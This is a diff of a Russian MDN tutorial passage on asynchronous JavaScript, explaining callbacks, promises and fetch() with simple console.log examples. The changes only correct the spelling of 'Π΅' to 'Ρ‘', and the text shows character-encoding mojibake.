<p>Колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹Β β€”Β ΠΎΠ½ΠΈ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ порядок, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΒ Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‰ΠΈΠ΅ΡΡΒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ, ΠΎΠ½ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ данныС различным функциям,Β Π² зависимости ΠΎΡ‚ ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π². Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ дСйствия с Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠΌ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ Β <code>processJSON()</code>, <code>displayText()</code>, ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅.</p>
@@ -163,7 +163,7 @@ gods.forEach(function (eachName, index){
<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²ΠΈΠ΄Π½ΠΎ, ΠΊΠ°ΠΊ <code>fetch()</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ β€” URL рСсурса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½ΡƒΠΆΠ½ΠΎΒ  ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ· сСти, β€” ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">промис</a>. ΠŸΡ€ΠΎΠΌΠΈΡ ΠΈΠ»ΠΈ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ β€” это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π°ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΡƒΡŽ ΡƒΠ΄Π°Ρ‡Π½ΠΎ ΠΈΠ»ΠΈΒ Π½Π΅ΡƒΠ΄Π°Ρ‡Π½ΠΎ. Он прСдставляСт собой ΠΊΠ°ΠΊ Π±Ρ‹ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ состояниС. По сути, это способ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΡΠΊΠ°Π·Π°Ρ‚ΡŒ: "я ΠΎΠ±Π΅Ρ‰Π°ΡŽ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ Π²Π°ΠΌ с ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠΌ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ скорСС," ΠΎΡ‚ΡΡŽΠ΄Π° ΠΈ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅."</p>
-<p>ΠœΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ½ΡƒΡ‚ΡŒ ΠΊ Π΄Π°Π½Π½ΠΎΠΉ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ; это Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ {{interwiki("wikipedia", "ΠšΠΎΡ‚ Π¨Ρ€Ρ‘Π΄ΠΈΠ½Π³Π΅Ρ€Π°")}} Π² дСйствии. Ни ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² Π΅Ρ‰Π΅ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π», поэтому опСрация fetch Π² настоящСС врСмя ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°. Π”Π°Π»Π΅Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° ΠΊΠΎΠ΄Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… сразу послС <code>fetch()</code>:</p>
+<p>ΠœΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ½ΡƒΡ‚ΡŒ ΠΊ Π΄Π°Π½Π½ΠΎΠΉ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ; это Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ {{interwiki("wikipedia", "ΠšΠΎΡ‚ Π¨Ρ€Ρ‘Π΄ΠΈΠ½Π³Π΅Ρ€Π°")}} Π² дСйствии. Ни ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΡ‘Π», поэтому опСрация fetch Π² настоящСС врСмя ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°. Π”Π°Π»Π΅Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° ΠΊΠΎΠ΄Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… сразу послС <code>fetch()</code>:</p>
<ul>
<li>Π”Π²Π° <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code> Π±Π»ΠΎΠΊΠ°. ΠžΠ±Π°Β Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π² сСбя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ, которая запустится, Ссли прСдыдущая ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡΒ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»Π°ΡΡŒΒ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ, ΠΈ каТдая колбэк-функция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π½Π° Π²Ρ…ΠΎΠ΄ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ.Β ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ <code>.then()</code> Π±Π»ΠΎΠΊ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ promise, это Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ Π±Π»ΠΎΠΊΠΈ <code>.then()</code>, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ нСсколько асинхронных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ ΠΏΠΎ порядку, ΠΎΠ΄Π½Ρƒ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ.</li>
@@ -212,9 +212,9 @@ fetch('coffee.jpg').then((response) =&gt; {
console.log ('All done!');</pre>
-<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°Ρ‡Π½Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°, ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΊΠΎΠ½ΡΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>(Starting)</code> ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ Π΅Π³ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ создаст ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>image</code>.</p>
+<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°, ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΊΠΎΠ½ΡΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>(Starting)</code> ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ Π΅Π³ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ создаст ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>image</code>.</p>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½ пСрСмСстится Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку ΠΈ Π½Π°Ρ‡Π½Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π±Π»ΠΎΠΊ <code>fetch ()</code>, Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>fetch ()</code> выполняСтся асинхронно Π±Π΅Π· Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° продолТаСтся послС ΠΊΠΎΠ΄Π°, связанного с промисом, Ρ‚Π΅ΠΌ самым достигая ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° (<code>All done!</code>) ΠΈ выводя Сго Π½Π° консоль.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½ пСрСмСстится Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку ΠΈ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π±Π»ΠΎΠΊ <code>fetch ()</code>, Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>fetch ()</code> выполняСтся асинхронно Π±Π΅Π· Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° продолТаСтся послС ΠΊΠΎΠ΄Π°, связанного с промисом, Ρ‚Π΅ΠΌ самым достигая ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° (<code>All done!</code>) ΠΈ выводя Сго Π½Π° консоль.</p>
<p>Волько послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±Π»ΠΎΠΊ <code>fetch ()</code> ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΈ доставит свой Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ‡Π΅Ρ€Π΅Π· Π±Π»ΠΎΠΊΠΈ <code>.then ()</code>, ΠΌΡ‹ Π½Π°ΠΊΠΎΠ½Π΅Ρ† ΡƒΠ²ΠΈΠ΄ΠΈΠΌ Π²Ρ‚ΠΎΡ€ΠΎΠ΅ сообщСниС <code>console.log ()</code> (<code>It worked ;)</code>). Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, сообщСния появились Π½Π΅ Π² Ρ‚ΠΎΠΌ порядкС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ:</p>
@@ -234,9 +234,9 @@ button.addEventListener('click', () =&gt; {
console.log("all done");</pre>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‡Π΅Π½ΡŒ схоТ с ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌ Π² своСм ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ β€” Β ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ сообщСния <code>console.log ()</code> Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ, Π½ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, ΠΏΠΎΠΊΠ° ΠΊΡ‚ΠΎ-Ρ‚ΠΎ Π½Π΅ Π½Π°ΠΆΠΌΠ΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΌΡ‹ΡˆΠΈ. ΠŸΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π² этом случаС Π²Ρ‚ΠΎΡ€ΠΎΠ΅ сообщСниС блокируСтся Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΎΠΉ промисов, получая рСсурс, Π° Π·Π°Ρ‚Π΅ΠΌ отобраТая Π΅Π³ΠΎ Π½Π° экранС, Π° Π½Π΅ Ρ‰Π΅Π»Ρ‡ΠΊΠΎΠΌ ΠΌΡ‹ΡˆΠΈ.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‡Π΅Π½ΡŒ схоТ с ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌ Π² своём ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ β€” Β ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ сообщСния <code>console.log ()</code> Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ, Π½ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, ΠΏΠΎΠΊΠ° ΠΊΡ‚ΠΎ-Ρ‚ΠΎ Π½Π΅ Π½Π°ΠΆΠΌΡ‘Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΌΡ‹ΡˆΠΈ. ΠŸΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π² этом случаС Π²Ρ‚ΠΎΡ€ΠΎΠ΅ сообщСниС блокируСтся Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΎΠΉ промисов, получая рСсурс, Π° Π·Π°Ρ‚Π΅ΠΌ отобраТая Π΅Π³ΠΎ Π½Π° экранС, Π° Π½Π΅ Ρ‰Π΅Π»Ρ‡ΠΊΠΎΠΌ ΠΌΡ‹ΡˆΠΈ.</p>
-<p>Π’ ΠΌΠ΅Π½Π΅Π΅ простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠΎΠ΄Π° такая систСма ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ β€” Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π±Π»ΠΎΠΊ асинхронного ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΠΎΡ‚ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π² Π±Π»ΠΎΠΊΠ΅ синхронного ΠΊΠΎΠ΄Π°. Π’Ρ‹ просто Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ асинхронная функция вСрнСтся Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ синхронный Π±Π»ΠΎΠΊ.</p>
+<p>Π’ ΠΌΠ΅Π½Π΅Π΅ простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠΎΠ΄Π° такая систСма ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ β€” Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π±Π»ΠΎΠΊ асинхронного ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΠΎΡ‚ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π² Π±Π»ΠΎΠΊΠ΅ синхронного ΠΊΠΎΠ΄Π°. Π’Ρ‹ просто Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ асинхронная функция вСрнётся Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ синхронный Π±Π»ΠΎΠΊ.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ это Π² дСйствии, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π²Π·ΡΡ‚ΡŒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию нашСго <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°</a>Β ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ Π²Ρ‹Π·ΠΎΠ² <code>console.log ()</code> ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
@@ -246,7 +246,7 @@ console.log("all done");</pre>
<pre class="notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">TypeError: image is undefined; can't access its "src" property</span></span></span></pre>
-<p>Π­Ρ‚ΠΎ происходит ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π² Ρ‚ΠΎ ΠΆΠ΅ врСмя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ пытаСтся Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉΒ <code>console.log()</code>, Π±Π»ΠΎΠΊΒ <code>fetch()</code>Β Π΅Ρ‰Π΅ Π½Π΅ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ» Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, поэтому пСрСмСнная <code>image</code>Β Π΅Ρ‰Π΅ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния.</p>
+<p>Π­Ρ‚ΠΎ происходит ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π² Ρ‚ΠΎ ΠΆΠ΅ врСмя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ пытаСтся Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉΒ <code>console.log()</code>, Π±Π»ΠΎΠΊΒ <code>fetch()</code>Β Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ» Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, поэтому пСрСмСнная <code>image</code>Β Π΅Ρ‰Ρ‘ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния.</p>
<div class="blockIndicator note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Из сообраТСний бСзопасности Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΒ <code>fetch()Β </code>Β ΠΊ Ρ„Π°ΠΉΠ»Π°ΠΌ ΠΈΠ· вашСй локальной систСмы (ΠΈΠ»ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚Π°ΠΊΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ локально); Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ локально ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Ρ‡Π΅Ρ€Π΅Π·Β <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π²Π΅Π±-сСрвСр</a>.</p>
@@ -254,7 +254,7 @@ console.log("all done");</pre>
<h2 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_сдСлайтС_всС_это_асинхронно!">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: сдСлайтС всС это асинхронно!</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с  <code>fetch()</code>Β ΠΈ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ всС Ρ‚Ρ€ΠΈ сообщСния <code>console.log()</code>Β ΠΏΠΎΡΠ²ΠΈΡ‚ΡŒΡΡ Π² ΠΆΠ΅Π»Π°Π΅ΠΌΠΎΠΌ порядкС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ сообщСниС <code>console.log()</code> асинхронно. Π­Ρ‚ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ, пСрСмСстив Π΅Π³ΠΎ Π²Π½ΡƒΡ‚Ρ€ΡŒ 